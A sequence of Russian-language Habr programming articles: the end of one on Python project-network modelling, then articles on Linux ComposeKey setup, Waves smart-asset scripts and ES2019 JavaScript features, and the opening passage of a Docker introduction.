2. **build\_model\_by\_assignment()** – построение без пересчета модели.
После чего проведено сравнение времени их выполнения на моделях из 100, 1000 и 10000 работ.
**network.py**
```
from predict import Activity
import xml.etree.ElementTree as ET
import sys
import timeit
from timeit import Timer
# вычисляем значение параметра задачи
def get_child(child, activity_field):
text = child.find(activity_field).text
if text is None:
return None
return int(text)
# строим модель с использованием метода пересчета
def build_model_by_method(filename):
sys.setrecursionlimit(10000)
f = open(filename,'r')
tree = ET.parse(f)
root = tree.getroot()
schedule = {}
next = {}
for child in root.findall('Activity'):
id = child.find('id').text
start_date = get_child(child,'start_date')
finish_date = get_child(child,'finish_date')
duration = get_child(child,'duration')
not_early_date = get_child(child,'not_early_date')
a = Activity(id, start_date, finish_date, duration, not_early_date)
schedule[id] = a
next_activity = '' if child.find('next_activity').text is None else child.find('next_activity').text
next[id] = next_activity
for key in schedule:
if next[key] != '':
for next_id in next[key].split(';'):
schedule[key].append_next(schedule[next_id])
sys.setrecursionlimit(1000)
# строим модель без использования метода пересчета
def build_model_by_assignment(filename):
f = open(filename,'r')
tree = ET.parse(f)
root = tree.getroot()
schedule = {}
next = {}
for child in root.findall('Activity'):
id = child.find('id').text
start_date = get_child(child,'start_date')
finish_date = get_child(child,'finish_date')
duration = get_child(child,'duration')
not_early_date = get_child(child,'not_early_date')
a = Activity(id, start_date, finish_date, duration, not_early_date)
schedule[id] = a
next_activity = '' if child.find('next_activity').text is None else child.find('next_activity').text
next[id] = next_activity
for key in schedule:
if next[key] != '':
for next_id in next[key].split(';'):
schedule[key].next_activity.append(schedule[next_id])
# считаем скорость построения модели
print('Test for 100 activities:')
t1 = Timer("build_model_by_method('data/activity_100.xml')", "from __main__ import build_model_by_method")
print("build_model_by_method", t1.timeit(number = 1000))
t2 = Timer("build_model_by_assignment('data/activity_100.xml')", "from __main__ import build_model_by_assignment")
print("build_model_by_assignment", t2.timeit(number = 1000))
print('Test for 1000 activities')
t3 = Timer("build_model_by_method('data/activity_1000.xml')", "from __main__ import build_model_by_method")
print("build_model_by_method", t3.timeit(number = 1000))
t4 = Timer("build_model_by_assignment('data/activity_1000.xml')", "from __main__ import build_model_by_assignment")
print("build_model_by_assignment", t4.timeit(number = 1000))
print('Test for 10000 activities')
t5 = Timer("build_model_by_method('data/activity_10000.xml')", "from __main__ import build_model_by_method")
print("build_model_by_method", t5.timeit(number = 1000))
t6 = Timer("build_model_by_assignment('data/activity_10000.xml')", "from __main__ import build_model_by_assignment")
print("build_model_by_assignment", t6.timeit(number = 1000))
```
Результаты сравнения:
```
$ python network.py
Test for 100 activities:
build_model_by_method 1.7820062519999738
build_model_by_assignment 1.426311435999878
Test for 1000 activities
build_model_by_method 18.998158786999966
build_model_by_assignment 14.216093206999858
Test for 10000 activities
build_model_by_method 249.93449528199994
build_model_by_assignment 148.85600239800033
```
Как видно, чем больше работ, тем медленнее работает функция построения сетевой модели с использованием пересчета по сравнению с функцией, в которой пересчет не используется.
### Контролируй глубину рекурсии
Сетевая модель проекта состоит из работ и связей между ними. В отсутствии дополнительной информации о сети для ее пересчета используются рекурсивные алгоритмы. Такие алгоритмы состоят в последовательном проходе по работам сети и пересчете их параметров (например, длительности, дат начала и окончания). Чем больше работ в сети, тем больше глубина рекурсии.
Известно, что в Python по умолчанию установлено ограничение на глубину рекурсии – не больше 1000 рекурсивных вызовов. Для получения этого ограничения предназначен метод *getrecursionlimit()* модуля *sys*.
```
>>> import sys
>>> sys.getrecursionlimit()
1000
```
При работе с большими сетями, число работ в которых измеряется десятками тысяч, обычной ситуацией является превышение глубины рекурсии и, как следствие, возникновение ошибки типа *RecursionError: maximum recursion depth exceeded in comparison*. Ошибка приводит к остановке построения либо пересчета модели и падению системы.
Чтобы предотвратить ошибку, построить и пересчитать большую сеть, необходимо увеличить ограничение на глубину рекурсии. И в этом нам поможет метод *setrecursionlimit()* модуля *sys*.
```
>>> import sys
>>> sys.setrecursionlimit(10000)
>>> sys.getrecursionlimit()
10000
```
До какого значения требуется увеличить глубину рекурсии? Ответ на этот вопрос зависит от структуры сетевой модели. Если структура неизвестна или достаточно сложна, рекомендую устанавливать ограничение в значение, равное количеству работ в сети. Рекурсивный алгоритм проходится либо по всем либо по части работ. Поэтому глубина рекурсии не должна превысить количество работ в сети.
### И напоследок…
Управление проектами – это модно. Но модно еще не значит эффективно. На рынке существуют программные решения по пересчету сетевых моделей, такие как Microsoft Project. Однако алгоритмы, зашитые в них остаются доступными только вендерам соответствующего программного обеспечения.
Настоящая статья написана на основе опыта разработки открытого модуля по построению и пересчету сетевых моделей проектов. Я надеюсь, что приведенные в статье извлеченные уроки будут полезны читателю как с теоретической, так и с чисто практической точки зрения. Если настоящая статья вызовет интерес, то я поделюсь новыми знаниями, которые возникнут в дальнейшем, по мере развития модуля. | https://habr.com/ru/post/310216/ | null | ru | null |
# Умная раскладка через ComposeKey
Этот топик — продолжение моего [предыдущего](http://kukunin.habrahabr.ru/blog/95790/), где я описывал проблему с переключениями раскладок, если их три и больше. В этом топике я расскажу о решении этой проблемы через ComposeKey. Помимо того, ComposeKey отлично подойдет и для других целей.
#### Общие сведения
Поскольку, в альтернативных раскладках нам нужно всего несколько редкоупотребляемых символов, поэтому их удобнее привязать на конкретные сочетания клавиш вместо того, чтобы держать еще одну лишнюю раскладку клавиатуры. Да, мы можем писать их через Unicode символы, но, во-первых, нужно запоминать коды символов, а во-вторых, не всегда работает ( в предыдущей статье описано ). На помощь приходит ComposeKey, механизм в Linux для набора непечатных символов.
#### Как оно работает?
Существует клавиша ComposeKey, при зажатии которой и набора комбинации других клавиш, выводится символ. Настроить эту клавишу можно из консоли ( например, `setxkbmap -option compose:rwin` устанавливает правую Win клавишу на ComposeKey ), или же из графического интерфейса.
[](http://habrastorage.org/storage/habraeffect/07/80/0780e239f9fcd20a043f8b131e7b9638.png)
#### Как комбинации доступны?
Все комбинации доступны в файле `/usr/share/X11/locale/CURRENT/Compose`, где CURRENT — текущая локаль. Все комбинации интуитивно понятные, главное понять принцип их построения.
#### И как это относится к раскладкам?
У вас есть возможность объявлять собственные сочетания. Чтобы, например, на `ComposeKey + Ы` выводилась `І`, а на `ComposeKey + ъ` выводилась ї. И запомнить просто, и использовать не составит дополнительных проблем.
Для начала, решим проблему с Гномом. У него все сочетания жестко вписаны в код для совместимости на всех локалях, поэтому мы не сможем их поменять. Но мы можем переопределить их стандартным *Xwindow Input Method (XIM)*. Для этого нам нужно установить переменную окружения `GTK_IM_MODULE = "xim"`. Пропишем в ~/.bashrc ( если нужно для всех пользователей, то в /etc/environment ):
`export GTK_IM_MODULE="xim"`
Для того, чтобы прописать комбинацию нам нужно знать название исходных клавиш, сам символ и unicode код нужного нам символа.
##### Название исходных клавиш
На помощь приходит небезызвестная утилита xev, которая выводит все события иксов. Запускаем, нажимаем пару клавиш в русской раскладке, смотрим вывод. Получится типа такого:
`KeyPress event, serial 35, synthetic NO, window 0x4800001,
root 0x15a, subw 0x0, time 191545195, (-229,390), root:(776,413),
state 0x2000, keycode 58 (keysym 0x6d8, Cyrillic_softsign), same_screen YES,
XLookupString gives 2 bytes: (d1 8c) "ь"
XmbLookupString gives 2 bytes: (d1 8c) "ь"
XFilterEvent returns: False
KeyRelease event, serial 35, synthetic NO, window 0x4800001,
root 0x15a, subw 0x0, time 191545265, (-229,390), root:(776,413),
state 0x2000, keycode 58 (keysym 0x6d8, Cyrillic_softsign), same_screen YES,
XLookupString gives 2 bytes: (d1 8c) "ь"
XFilterEvent returns: False`
Смотрим на строку `state 0x2000, keycode 58 (keysym 0x6d8, Cyrillic_softsign), same_screen YES`, вот этот `Cyrillic_softsign` и есть названием клавиши.
##### Символ и его unicode код
Сам символ можно найти в таблице символов, либо скопировать откуда-то. Чтобы узнать его unicode код, нужно найти в интернете таблицу unicode символов, найти символ и его код.
#### А как же пример?
Для примера возьмем сочетание, чтобы по `ComposeKey + ы` выводился символ i. Находим название клавиши «ы». `xev` говорит, что символ называется `Cyrillic_yeru`. Дальше, находим в unicode таблице символ «i» и ее код: U0456. Строчка для описании комбинации будет выглядеть так:
`: "i" U0456`
Multi\_key — и есть ComposeKey.
Выкладываю свою версию конфига `~/.XCompose`:
`include "/usr/share/X11/locale/en_US.UTF-8/Compose"
: "є" U0454
: "Є" U0404
: "i" U0456
: "І" U0406
: "ґ" U0491
: "Ґ" U0490
: "ї" U0457
: "Ї" U0407`
P.S. После изменений не забудьте перегрузить X-сервер | https://habr.com/ru/post/95845/ | null | ru | null |
# Смарт-ассеты Waves: «черные» и «белые» списки, интервальный трейдинг
*В двух предыдущих статьях мы рассказали о смарт-аккаунтах и о том, как они могут использоваться [для проведения аукционов и создания программ лояльности](https://habr.com/ru/company/waves/blog/442238/), а также помогают [обеспечить прозрачность финансовых инструментов](https://habr.com/ru/company/waves/blog/443836/).
Сейчас мы рассмотрим смарт-ассеты и несколько кейсов их применения, включая замораживание активов и создание ограничений на транзакции по заданным адресам.*
Смарт-ассеты Waves позволяют пользователям накладывать скрипты на ассеты, следуя той же механике, что и в случае со смарт-аккаунтами. Каждая новая транзакция, созданная с использованием смарт-ассета, будет подтверждена сначала скриптом, и только потом блокчейном.
Стоит отметить следующие отличия смарт-ассетов от смарт-аккаунтов:
1. В коде смарт-ассета нельзя осуществить проверку пруфов (о них мы говорили [в первой статье](https://habr.com/ru/company/waves/blog/442238/)).
2. В коде смарт-аккаунта можно проверять ExchangeTransaction, только если ваш аккаунт является аккаунтом-матчером. В противном случае проверяется только ордер. В коде смарт-ассета проверить непосредственно ордер нельзя, можно проверять ExchangeTransaction, и из неё уже при необходимости извлекать ордер.
3. У смарт-ассета, в отличие от смарт-аккаунта, нет стейта, но мы все же имеем доступ к стейтам аккаунтов из скрипта.
Смарт-ассеты значительно упрощают написание контрактов, делая реализацию многих кейсов лаконичной и элегантной.
**Заморозка активов**
Чтобы заморозить активы до определенной высоты блока *targetHeight*, можно просто задать это значение в скрипте следующего смарт-ассета:
```
let targetHeight = 1500000
height >= targetHeight
height - функция языка, возращающая текущую высоту.
```
**Условие конкретного матчера**
Чтобы установить в качестве желаемого конкретный матчер, вы можете задать его адрес в качестве отправителя в скрипте смарт-ассета следующего вида:
```
match tx {
case t : ExchangeTransaction =>
t.sender == addressFromString("3PJaDyprvekvPXPuAtxrapacuDJopgJRaU3")
case _ => true
}
```
**«Белый список» получателей**
Чтобы разрешить отправку токенов только на определенные счета — создать «белый список» получателей — вы можете использовать смарт-ассет со следующей схемой, проверяющей вхождение в список:
```
match tx {
case t : TransferTransaction =>
let trustedRecipient1 = addressFromString("3P6ms9EotRX8JwSrebeTXYVnzpsGCrKWLv4")
let trustedRecipient2 = addressFromString("3PLZcCJyYQnfWfzhKXRA4rteCQC9J1ewf5K")
let trustedRecipient3 = addressFromString("3PHrS6VNPRtUD8MHkfkmELavL8JnGtSq5sx")
t.recipient == trustedRecipient1 || t.recipient == trustedRecipient2 || t.recipient == trustedRecipient3
case _ => false
}
```
В целях безопасности и доказуемой завершимости языка список не содержит реализации итератора. Поэтому он задан в качестве набора конкретных элементов.
**«Черный список» получателей**
Точно так же, для запрета на отправку токенов на определенные счета, вы можете создать «черный список». При этом используется абсолютно такой же смарт-ассет, но с проверкой адреса на отсутствие в черном списке:
```
match tx {
case t : TransferTransaction =>
let bannedRecipient1 = addressFromString("3P6ms9EotRX8JwSrebeTXYVnzpsGCrKWLv4")
let bannedRecipient2 = addressFromString("3PLZcCJyYQnfWfzhKXRA4rteCQC9J1ewf5K")
let bannedRecipient3 = addressFromString("3PHrS6VNPRtUD8MHkfkmELavL8JnGtSq5sx")
t.recipient != bannedRecipient1 && t.recipient != bannedRecipient2 && t.recipient != bannedRecipient3
case _ => false
}
```
**Отправка с разрешения эмитента**
При помощи смарт-ассета можно также установить опцию отправки смарт-ассета только с разрешения эмитента *(commitment/debt label*). Эмитент выражает свое согласие, разместив ID транзакции в стейте своего аккаунта:
```
match tx {
case t : TransferTransaction =>
let issuer = extract(addressFromString("3P6ms9EotRX8JwSrebeTXYVnzpsGCrKWLv4"))
#убеждаемся, что в стейте эмитента содержится ID текущей транзакции
isDefined(getInteger(issuer, toBase58String(t.id)))
case _ => false
}
```
**Обмен только на определенные монеты**
Cмарт-ассет допускает разрешение обменивать его только на определенные монеты. Например, чтобы разрешить обмен только на биткойны, можно использовать следующий код:
```
let BTCId = base58'8LQW8f7P5d5PZM7GtZEBgaqRPGSzS3DfPuiXrURJ4AJS'
match tx {
case t : ExchangeTransaction =>
t.sellOrder.assetPair.priceAsset == BTCId ||
t.sellOrder.assetPair.amountAsset == BTCId
case _ => true
}
```
**Торговля по цене от оракула**
В скрипте смарт-ассета можно задать разрешение на торговлю только по цене, зафиксированной в стейте надежного оракула. Вот пример такого скрипта:
```
let oracle = Address(base58'3PLNmokt22NrSiNvCLvwMUP84LCMJqbXwAD')
let assetId = toBase58String(base58'oWgJN6YGZFtZrV8BWQ1PGktZikgg7jzGmtm16Ktyvjd')
match tx {
#запрещаем передачу ассета
case t: TransferTransaction | MassTransferTransaction => false
case e: ExchangeTransaction =>
#убеждаемся, что торговля происходит по цене, заданной в стейте оракла для этого ассета
let correctPrice = e.price == extract(getInteger(oracle, assetId))
#убеждаемся, что торговля происходит в обмен на WAVES
let correctPriceAsset = !isDefined(e.sellOrder.assetPair.priceAsset)
correctPrice && correctPriceAsset
case _ => true
}
```
Здесь мы сталкиваемся с неочевидным моментом при проверке ID ассета, с которым осуществляется торговля. Дело в том, что, если ID ассета не определен, значит, речь идет о WAVES. В скрипте мы убеждаемся, что торговля осуществляется в паре с WAVES, именно таким образом.
**Фиксированное увеличение цены**
Можно установить фиксированную цену смарт-ассета, которая будет пошагово увеличиваться в заданной пропорции. Вот пример скрипта ассета, цена которого будет увеличивается на 5% каждые 1000 блоков:
```
let startPrice = 10
let startHeight = 1000
let interval = 1000
#на сколько процентов цена увеличивается за один шаг
let raise = 5
match tx {
case t: TransferTransaction | MassTransferTransaction => false
case e: ExchangeTransaction =>
e.price == startPrice + ((height - startHeight) / interval) * (100 + raise) / 100
&& !isDefined(e.sellOrder.assetPair.priceAsset)
case _ => true
}
```
**Интервальный трейдинг**
Также, благодаря скрипту, торговлю смарт-ассетом можно ограничить заранее определенными интервалами. Вот пример такого скрипта:
```
let startHeight = 10000
let interval = 44000
let limit = 1500
match tx {
case t: TransferTransaction | MassTransferTransaction | ExchangeTransaction =>
(height - startHeight) % interval < limit
case _ => true
}
```
В скрипте мы убеждаемся, что с начала торговли *startHeight* прошло не более, чем *limit* интервалов. Длина интервала равна количеству блоков, заданному в поле *interval*. | https://habr.com/ru/post/444686/ | null | ru | null |
# Примеры использования некоторых новых возможностей JavaScript
Автор материала, перевод которого мы сегодня публикуем, говорит, что новые возможности JavaScript, которые попали в стандарт ES2019, уже [официально доступны](https://kangax.github.io/compat-table/es2016plus) в браузерах Chrome, Firefox и Safari, а также на платформе Node.js. Если нужно поддерживать устаревшие браузеры, то воспользоваться новшествами можно, транспилируя JS-код с помощью [Babel](https://babeljs.io/). Здесь мы рассмотрим примеры использования некоторых новых возможностей JS.
[](https://habr.com/ru/company/ruvds/blog/464295/)
Метод Object.fromEntries
------------------------
В ES2017 появился метод `Object.entries`. Он преобразует объект в массив. Например, это может выглядеть так:
```
let students = {
amelia: 20,
beatrice: 22,
cece: 20,
deirdre: 19,
eloise: 21
}
Object.entries(students)
// [
// [ 'amelia', 20 ],
// [ 'beatrice', 22 ],
// [ 'cece', 20 ],
// [ 'deirdre', 19 ],
// [ 'eloise', 21 ]
// ]
```
Этот метод стал замечательным дополнением к возможностям языка. Дело в том, что он позволял удобно обрабатывать данные объектов с помощью многочисленных методов, встроенных в прототип `Array`. Среди этих методов, например, можно отметить `map`, `filter`, `reduce`. Но для того, чтобы преобразовать массив обратно в объект, к сожалению, удобных средств не существовало. Всё приходилось делать вручную, с помощью цикла:
```
let students = {
amelia: 20,
beatrice: 22,
cece: 20,
deirdre: 19,
eloise: 21
}
// преобразуем объект в массив для того чтобы воспользоваться методом .filter()
let overTwentyOne = Object.entries(students).filter(([name, age]) => {
return age >= 21
}) // [ [ 'beatrice', 22 ], [ 'eloise', 21 ] ]
// преобразуем многомерный массив обратно в объект
let drinkingAgeStudents = {}
for (let [name, age] of overTwentyOne) {
drinkingAgeStudents[name] = age;
}
// { beatrice: 22, eloise: 21 }
```
Метод `Object.fromEntries` создан для того чтобы избавиться от подобных циклов. Он позволяет решить ту же самую задачу с помощью гораздо меньшего объёма кода. Это вполне может способствовать тому, чтобы разработчики чаще пользовались бы методами массивов для обработки преобразованных в массивы объектов.
```
let students = {
amelia: 20,
beatrice: 22,
cece: 20,
deirdre: 19,
eloise: 21
}
// преобразуем объект в массив для того чтобы воспользоваться методом .filter()
let overTwentyOne = Object.entries(students).filter(([name, age]) => {
return age >= 21
}) // [ [ 'beatrice', 22 ], [ 'eloise', 21 ] ]
// преобразуем многомерный массив обратно в объект
let drinkingAgeStudents = Object.fromEntries(overTwentyOne);
// { beatrice: 22, eloise: 21 }
```
Важно отметить, что массивы и объекты недаром являются различными структурами данных. В некоторых случаях преобразование одной в другую ведёт к потере данных. В следующем примере можно видеть, как при преобразовании массива в объект теряются те элементы массива, которые оказываются дублирующимися ключами объекта.
```
let students = [
[ 'amelia', 22 ],
[ 'beatrice', 22 ],
[ 'eloise', 21],
[ 'beatrice', 20 ]
]
let studentObj = Object.fromEntries(students);
// { amelia: 22, beatrice: 20, eloise: 21 }
// пропала первая запись beatrice!
```
### ▍Поддержка
* Chrome 75
* Firefox 67
* Safari 12.1
Метод Array.prototype.flat
--------------------------
Многомерные массивы — это структуры данных, с которыми программисты встречаются довольно-таки часто. Особенно — при загрузке неких данных. При этом уменьшение размерности массива всегда было важной задачей. Решить эту задачу можно было всегда, но код её решения нельзя было назвать очень уж привлекательным.
Рассмотрим следующий пример. Здесь, в результате обработки массива объектов с помощью функции `map`, у нас оказывается многомерный массив. Его мы хотим сделать более «плоским».
```
let courses = [
{
subject: "math",
numberOfStudents: 3,
waitlistStudents: 2,
students: ['Janet', 'Martha', 'Bob', ['Phil', 'Candace']]
},
{
subject: "english",
numberOfStudents: 2,
students: ['Wilson', 'Taylor']
},
{
subject: "history",
numberOfStudents: 4,
students: ['Edith', 'Jacob', 'Peter', 'Betty']
}
]
let courseStudents = courses.map(course => course.students)
// [
// [ 'Janet', 'Martha', 'Bob', [ 'Phil', 'Candace' ] ],
// [ 'Wilson', 'Taylor' ],
// [ 'Edith', 'Jacob', 'Peter', 'Betty' ]
// ]
// тут мы могли бы попытаться воспользоваться чем-то вроде [].concat.apply([], courseStudents)
```
Теперь в нашем распоряжении имеется метод `Array.prototype.flat`, который принимает необязательный аргумент, указывающий то, на какой уровень надо «поднять» элементы массива.
```
let courseStudents = [
[ 'Janet', 'Martha', 'Bob', [ 'Phil', 'Candace' ] ],
[ 'Wilson', 'Taylor' ],
[ 'Edith', 'Jacob', 'Peter', 'Betty' ]
]
let flattenOneLevel = courseStudents.flat(1)
console.log(flattenOneLevel)
// [
// 'Janet',
// 'Martha',
// 'Bob',
// [ 'Phil', 'Candace' ],
// 'Wilson',
// 'Taylor',
// 'Edith',
// 'Jacob',
// 'Peter',
// 'Betty'
// ]
let flattenTwoLevels = courseStudents.flat(2)
console.log(flattenTwoLevels)
// [
// 'Janet', 'Martha',
// 'Bob', 'Phil',
// 'Candace', 'Wilson',
// 'Taylor', 'Edith',
// 'Jacob', 'Peter',
// 'Betty'
// ]
```
Обратите внимание на то, что если этому методу не передавать аргументов, то он будет поднимать элементы массива на один уровень. Это очень важно, так как в нашем случае нужно преобразовать массив в полностью плоскую структуру данных. Вот что получается при использовании этого метода без параметров:
```
let courseStudents = [
[ 'Janet', 'Martha', 'Bob', [ 'Phil', 'Candace' ] ],
[ 'Wilson', 'Taylor' ],
[ 'Edith', 'Jacob', 'Peter', 'Betty' ]
]
let defaultFlattened = courseStudents.flat()
console.log(defaultFlattened)
// [
// 'Janet',
// 'Martha',
// 'Bob',
// [ 'Phil', 'Candace' ],
// 'Wilson',
// 'Taylor',
// 'Edith',
// 'Jacob',
// 'Peter',
// 'Betty'
// ]
```
Оправдание подобного устройства этого метода можно найти в том, что он, по умолчанию, не стремится превратить любой массив в одномерный, требуя конкретных инструкций по преобразованию массива. Если в одномерный массив нужно преобразовать массив, точные параметры которого неизвестны, методу `flat` можно передать значение `Infinity`.
```
let courseStudents = [
[ 'Janet', 'Martha', 'Bob', [ 'Phil', 'Candace' ] ],
[ 'Wilson', 'Taylor' ],
[ 'Edith', 'Jacob', 'Peter', 'Betty' ]
]
let alwaysFlattened = courseStudents.flat(Infinity)
console.log(alwaysFlattened)
// [
// 'Janet', 'Martha',
// 'Bob', 'Phil',
// 'Candace', 'Wilson',
// 'Taylor', 'Edith',
// 'Jacob', 'Peter',
// 'Betty'
// ]
```
Как обычно, подобными операциями следует пользоваться с осторожностью. Такой подход, вероятно, нельзя назвать удачным выбором для тех случаев, когда глубина обрабатываемого массива действительно неизвестна.
### ▍Поддержка
* Chrome 75
* Firefox 67
* Safari 12
Метод Array.prototype.flatMap
-----------------------------
Вместе с методом `flat` в нашем распоряжении теперь оказался и новый комбинированный метод — `Array.prototype.flatMap`. Выше мы, на самом деле, уже видели пример ситуации, в которой этот метод может пригодиться, но давайте рассмотрим ещё один пример.
Предположим, перед нами стоит задача вставки неких элементов в массив. Как мы решили бы её раньше, до появления новых возможностей JS? Например — так:
```
let grades = [78, 62, 80, 64]
let curved = grades.map(grade => [grade, grade + 7])
// [ [ 78, 85 ], [ 62, 69 ], [ 80, 87 ], [ 64, 71 ] ]
let flatMapped = [].concat.apply([], curved)
// теперь массив оказался плоским. Тут можно было бы использовать метод flat, но раньше этого метода в JS не существовало
// [
// 78, 85, 62, 69,
// 80, 87, 64, 71
// ]
```
Теперь, когда у нас есть метод `Array.prototype.flat`, этот код можно улучшить:
```
let grades = [78, 62, 80, 64]
let flatMapped = grades.map(grade => [grade, grade + 7]).flat()
// [
// 78, 85, 62, 69,
// 80, 87, 64, 71
// ]
```
Та задача, которую мы тут решаем, основана на сравнительно популярном паттерне (особенно это касается функционального программирования). Поэтому то, как красиво мы можем её решить с помощью метода `flatMap`, не может не радовать:
```
let grades = [78, 62, 80, 64]
let flatMapped = grades.flatMap(grade => [grade, grade + 7]);
// [
// 78, 85, 62, 69,
// 80, 87, 64, 71
// ]
```
Вспомните о том, что по умолчанию метод `Array.prototype.flat` работает так, будто ему передана единица. Метод `flatMap` ведёт себя точно так же, то есть — «поднимает» элементы массива лишь на 1 уровень. Он представляет собой результат комбинации методов `map` и `flat`.
```
let grades = [78, 62, 80, 64]
let flatMapped = grades.flatMap(grade => [grade, [grade + 7]]);
// [
// 78, [ 85 ],
// 62, [ 69 ],
// 80, [ 87 ],
// 64, [ 71 ]
// ]
```
### ▍Поддержка
* Chrome 75
* Firefox 67
* Safari 12
Методы String.prototype.trimStart и String.prototype.trimEnd
------------------------------------------------------------
Ещё одно приятное новшество ES2019 — это псевдонимы, которые дают некоторым строковым методам более понятные имена. Раньше в нашем распоряжении были методы `String.prototype.trimRight` и `String.prototype.trimLeft`:
```
let message = " Welcome to CS 101 "
message.trimRight()
// ' Welcome to CS 101'
message.trimLeft()
// 'Welcome to CS 101 '
message.trimRight().trimLeft()
// 'Welcome to CS 101'
```
Методы это замечательные, но хорошо то, что им дали имена, которые больше соответствуют их цели. А цель их заключается в удалении начальных и конечных пробельных символов из строк.
```
let message = " Welcome to CS 101 "
message.trimEnd()
// ' Welcome to CS 101'
message.trimStart()
// 'Welcome to CS 101 '
message.trimEnd().trimStart()
// 'Welcome to CS 101'
```
### ▍Поддержка
* Chrome 75
* Firefox 67
* Safari 12
Необязательный аргумент блока catch
-----------------------------------
Ещё одна приятная возможность ES2019 — это то, что аргумент в блоках `try-catch` теперь стал необязательным. Ранее всем блокам `catch` надо было передавать, в качестве параметра, объект исключения. Аргумент приходилось передавать `catch` даже в том случае, если он не использовался.
```
try {
let parsed = JSON.parse(obj)
} catch(e) {
// e можно игнорировать или использовать
console.log("error")
}
```
Теперь это не так. Если объект исключения не используется в блоке `catch` — тогда в этот блок не нужно и ничего передавать.
```
try {
let parsed = JSON.parse(obj)
} catch {
console.log("error")
}
```
Это — отличная возможность, которая пригодится в тех случаях, когда программист заранее знает о том, возникновение какой нештатной ситуации приведёт к попаданию в соответствующий блок `catch`.
### ▍Поддержка
* Chrome 75
* Firefox 67
* Safari 12
Изменения в методе Function.prototype.toString
----------------------------------------------
Стандарт ES2019 принёс изменения в то, как работает метод функций `toString`. Ранее он немного искажал оформление выводимого кода:
```
function greeting() {
const name = 'CSS Tricks'
console.log(`hello from ${name}`)
}
greeting.toString()
//'function greeting() {\nconst name = \'CSS Tricks\'\nconsole.log(`hello from ${name} //`)\n}
```
Теперь этот метод отражает реальное представление исходного кода функций.
```
function greeting() {
const name = 'CSS Tricks'
console.log(`hello from ${name}`)
}
greeting.toString()
// 'function greeting() {\n' +
// " const name = 'CSS Tricks'\n" +
// ' console.log(`hello from ${name}`)\n' +
// '}'
```
### ▍Поддержка
* Chrome 75
* Firefox 60
* Safari 12 ([частично](http://kangax.github.io/compat-table/es2016plus/#safari12))
Итоги
-----
Здесь мы рассмотрели примеры использования лишь совсем немногих новых возможностей JavaScript. Если вы интересуетесь новшествами JS — загляните в [этот](https://github.com/tc39/proposals) репозиторий и в [эту](http://kangax.github.io/compat-table/es2016plus/) таблицу.
**Уважаемые читатели!** Сталкивались ли вы с ситуациями, в которых новые возможности JS заметно упрощают решение каких-нибудь задач?
[](https://ruvds.com/vps_start/) | https://habr.com/ru/post/464295/ | null | ru | null |
# Docker: заметки веб-разработчика. Итерация первая
Привет, друзья!
Хочу поделиться с вами заметками о [`Docker`](https://www.docker.com/).
Заметки состоят из 4 частей: 2 теоретических и 2 практических.
Если быть более конкретным:
* эта часть посвящена самому `Docker`, `Docker CLI` и `Dockerfile`;
* в [второй части](https://habr.com/ru/company/timeweb/blog/597613/) рассказывается о `Docker Compose`;
* в третьей части мы разработаем приложение, состоящее из 3 сервисов (клиента, админки и API) и базы данных (PostgreSQL);
* в четвертой части мы это приложение "контейнеризуем".
Если вам это интересно, прошу под кат.
Что такое `Docker`?
-------------------
[`Начало работы с Docker` на английском](https://docs.docker.com/get-started/).
[Перевод на русский от Microsoft](https://docs.microsoft.com/ru-ru/visualstudio/docker/tutorials/docker-tutorial).
`Docker` — это открытая платформа для разработки, доставки и запуска приложений. Он позволяет отделить приложения от инфраструктуры и управлять инфраструктурой по аналогии с тем, как мы управляем приложениями.
`Docker` предоставляет возможность упаковывать и запускать приложение в слабо изолированной среде — контейнере. Изоляция и безопасность позволяют одновременно запускать несколько контейнеров на одном хосте (хостом может быть наша локальная машина, дата центр, облачный провайдер или их микс). Контейнеры являются легковесными и содержат все необходимое для запуска приложения, что избавляет нас от необходимости полагаться на то, что установлено на хосте.
**Для чего `Docker` может использоваться?**
*Быстрая и согласованная доставка приложений*
`Docker` рационализирует жизненный цикл разработки, позволяя разработчикам работать в стандартизированной среде через локальные контейнеры, предоставляющие приложения и сервисы. Контейнеры отлично подходят для рабочих процессов непрерывной интеграции и непрерывной доставки (continuous integration/continuous delivery, `CI/CD`).
*Отзывчивая разработка и масштабирование*
Платформа, основанная на контейнерах, позволяет легко портировать приложения. Контейнеры могут запускаться на локальной машине разработчика, в физических или виртуальных дата-центрах, облачных провайдерах или смешанных средах.
*Запуск большего количества приложений на одной машине*
`Docker` является легковесным и быстрым. Он предоставляет работоспособную и экономичную альтернативу виртуальным машинам на основе [гипервизора](https://ru.wikipedia.org/wiki/%D0%93%D0%B8%D0%BF%D0%B5%D1%80%D0%B2%D0%B8%D0%B7%D0%BE%D1%80), что позволяет использовать больше вычислительных мощностей для решения аналогичных задач.
Архитектура `Docker`
--------------------
`Docker` использует клиент-серверную архитектуру. Клиент (`Docker client`) обращается к демону (`Docker daemon`), который поднимает (собирает), запускает и распределяет контейнеры. Клиент и демон могут быть запущены в одной системе или клиент может быть подключен к удаленному демону. Клиент и демон общаются через `REST API` поверх `UNIX-сокетов` или сетевого интерфейса. Другим клиентом является `Docker Compose`, позволяющий работать с приложениями, состоящими из нескольких контейнеров.
**Демон**
Демон (`dockerd`) регистрирует (слушает) запросы, поступающие от `Docker API`, и управляет такими объектами как образы, контейнеры, сети и тома. Демон может общаться с другими демонами для управления сервисами.
**Клиент**
Клиент (`docker`) — основной способ коммуникации с `Docker`. При выполнении такой команды, как `docker run`, клиент отправляет эту команду демону, который, собственно, эту команду и выполняет. Команда `docker` использует `Docker API`. Клиент может общаться с несколькими демонами.
**`Docker Desktop`**
[`Docker Desktop`](https://docs.docker.com/desktop/) — это десктопное приложение для `Mac` и `Windows`, позволяющее создавать и распределять контейнерные приложения и микросервисы. `Docker Desktop` включает в себя демона, клиента, `Docker Compose`, `Docker Content Trust`, `Kubernetes` и `Credential Helper`.
**Реестр**
В реестре (registry) хранятся образы контейнеров. [`Docker Hub`](https://hub.docker.com/) — это публичный реестр, который (по умолчанию) используется `Docker` для получения образов. Имеется возможность создания частных (закрытых) реестров.
При выполнении таких команд, как `docker pull` или `docker run`, необходимые образы загружаются из настроенного реестра. А при выполнении команды `docker push` образ загружается в реестр.
**Объекты**
При использовании `Docker` мы создаем и используем образы, контейнеры, сети, тома, плагины и другие объекты. Рассмотрим некоторые из них.
*Образы (`Images`)*
Образ — это доступный только для чтения шаблон с инструкциями по созданию контейнера. Часто образ представляет собой модификацию другого образа.
